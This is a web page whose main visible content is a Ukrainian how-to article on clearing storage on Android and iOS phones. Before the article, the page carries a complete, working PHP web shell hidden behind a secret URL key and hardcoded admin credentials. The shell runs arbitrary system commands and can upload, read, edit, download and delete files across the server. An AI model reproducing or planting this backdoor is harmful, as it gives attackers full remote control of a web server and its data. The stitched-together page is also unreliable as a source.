if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Очищення Android та iOS без стресу простими способами – collectives.berlin

Your digital paradise.

Очищення Android та iOS без стресу простими способами

Регулярне видалення непотрібних файлів і програм значно пришвидшує роботу вашого телефона. Розпочніть з перевірки статистики сховища у налаштуваннях. Вам знадобиться дізнатися, in.ua які додатки займають найбільше обсягу – таким чином, ви зможете остаточно позбутися програм, які не використовуються.

Видаліть кеш даних у налаштуваннях, оскільки він може накопичуватися і займати багато місця. Для ресурсоємних додатків спробуйте використати функцію очищення кешу, що доступна у системних параметрах. Для додатків, які не мають такої опції, просто видаліть і перевстановіть їх.

Не забувайте про хмарні сервіси. Завантажте фотографії та відео до хмари, щоб звільнити пам’ять на пристрої. Відео в високій якості містять багато даних, тому їх краще зберігати у зовнішніх сервісах. Також можна встановити автоматичне видалення старих фото та роликів з вашого пристрою.

Розгляньте можливість видалення старих чатових повідомлень або медіафайлів у месенджерах, оскільки вони часто займають значний обсяг простору. Щомісяця виділяйте час для ручного очищення, щоб зберігати пристрій в оптимальному стані.

Оптимізація пам’яті на Android: крок за кроком

Видаліть непотрібні програми. Перейдіть до налаштувань, знайдіть меню програм і видаліть ті, що не використовуються. Це звільнить пам’ять та покращить продуктивність.

Очищайте кеш програм. В налаштуваннях оберіть розділ “Сховище”, далі перейдіть в меню “Кешовані дані” і натисніть на очищення. Це може суттєво зменшити обсяг використовуваної пам’яті.

Використовуйте функцію “Перенесення на SD-картку”. Для програм, які підтримують цю опцію, перенесіть їх на зовнішній носій, щоб звільнити внутрішню пам’ять. Це дозволить вільніше використовувати доступний простір.

  • Вимкніть фонові програми. Це зменшить споживання оперативної пам’яті та ресурси процесора.
  • Оскільки різні елементи системи можуть займати значну частину пам’яті, періодично переглядайте їх.

Використовуйте спеціалізовані програми для очищення пам’яті. Деякі додатки сканують ваш пристрій і пропонують видалити нечисті файли, застарілі дані та інші ресурси, які займають місце.

Регулярно оновлюйте операційну систему. Нові версії часто містять оптимізації, які можуть покращити використання пам’яті та загальну стабільність роботи пристрою.

Створіть резервні копії важливих даних і видаліть непотрібні файли. Це не тільки звільнить пам’ять, але і забезпечить безпеку ваших даних.

Використовуйте хмарні сервіси для зберігання фото і відео. Це дозволить зберегти місце на пристрої, перенісши важкі файли в інтернет-простір.

Легке очищення сховища на iOS: швидкий посібник

Вирішення проблеми із заповненим місцем на пристрої починається з перегляду вкладки “Налаштування”. Перейдіть у “Основні” та виберіть “Сховище iPhone”. Тут ви побачите, які програми займають найбільше простору, що дозволяє сфокусуватися на найбільш ресурсомістких елементах.

Видалення непотрібних додатків

Проаналізуйте список додатків у сховищі. Визначте ті, якими ви не користуєтеся. Натискайте на іконку програми, щоб дізнатися, скільки місця вона займає, та видаліть зайві. Це швидкий спосіб звільнити значну кількість місця за короткий час.

Чистка кешу також може значно допомогти. Багато додатків зберігають кеш-пам’ять, яка може займати багато ресурсів. Для очищення кешу декількох додатків просто видаліть та перевстановіть їх. Це не лише звільнить місце, але й оновить програму до останньої версії.

Оптимізація фото та відео

Інколи медіафайли займають найбільше пам’яті. Використовуйте функцію “Оптимізувати зберігання” у налаштуваннях “Photos”. Вона дозволяє зберігати оригінали у хмарі, а на пристрої – зменшені копії. Це значно зменшить обсяг зайнятої пам’яті.

Не забувайте про регулярне видалення старих повідомлень та медіафайлів із месенджерів. Ці файли швидко накопичуються, особливо в групових чатах. Вкладіть трохи часу в очистку повідомлень, і ваш пристрій вдячно відгукнеться на зниження навантаження на пам’ять.

Leave a Reply

Your email address will not be published. Required fields are marked *